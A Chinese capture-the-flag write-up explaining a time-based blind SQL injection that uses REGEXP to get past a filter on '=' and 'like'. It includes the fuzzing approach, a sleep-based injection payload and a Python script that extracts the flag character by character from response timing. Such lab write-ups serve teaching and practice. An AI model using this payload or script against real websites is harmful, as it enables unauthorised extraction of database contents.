考点:时间盲注,过滤“=,like”,用regexp绕过
拿到题目,给出源码可以审计,看到flag在fl4g表中,又看到include 了一个waf文件,说明有过滤,因此我们首先fuzz出过滤了哪些关键字

手动fuzz在id=后面修改关键字,如果被过滤页面返回空,没被过滤正常回显代码http://eb1fbd8a51ca47049cf0cf0715c72cad988d15a52911454f.changame.ichunqiu.com/?id=union
不断fuzz尝试后发现过滤了’ union select < > = like
发现不仅过滤了=,又过滤了like,那么我们可以想到用regexp代替
前提学习下regexp用法:
用法介绍:select user() regexp “^[a-z]”;
首先查询当前用户,可以看到是root@localhost

接下来我们使用regexp语法进行查询

我们可以看到,这样不对位数做限制,只要按顺序存在对应字母,就会返回1,否则为0。
因此我们可以搭配if语句对数据库中信息进行查询。

这里注意regexp不能搭配limit使用,只是对内容进行提取。
like的用法与其类似 select user() like “ro%”;

接下来回到题目中
因为题目告诉flag在fl4g那个表中,所以我们猜测第一个字符是f,如果是的话延时3秒返回代码页面
?id=-1 or if((substr((fl4g),1,1) regexp “^f”), sleep(3),1)
测试成功,延时3秒,接下来写个脚本
import requests import time url = "http://8aa7aedeb17d45a28ac9dc0295992849b9dea7963da2471d.changame.ichunqiu.com/?id=-1" alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'] target = 'fl4g' result = '' for i in range (1,33): for char in alphabet: # 设置payload payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char) print(payload) # 计算响应时长 start = int(time.time()) r = requests.get(url+payload) response_time = int(time.time()) - start if response_time >= 2: result += char print('Found: {}'.format(result)) break
最后获得flag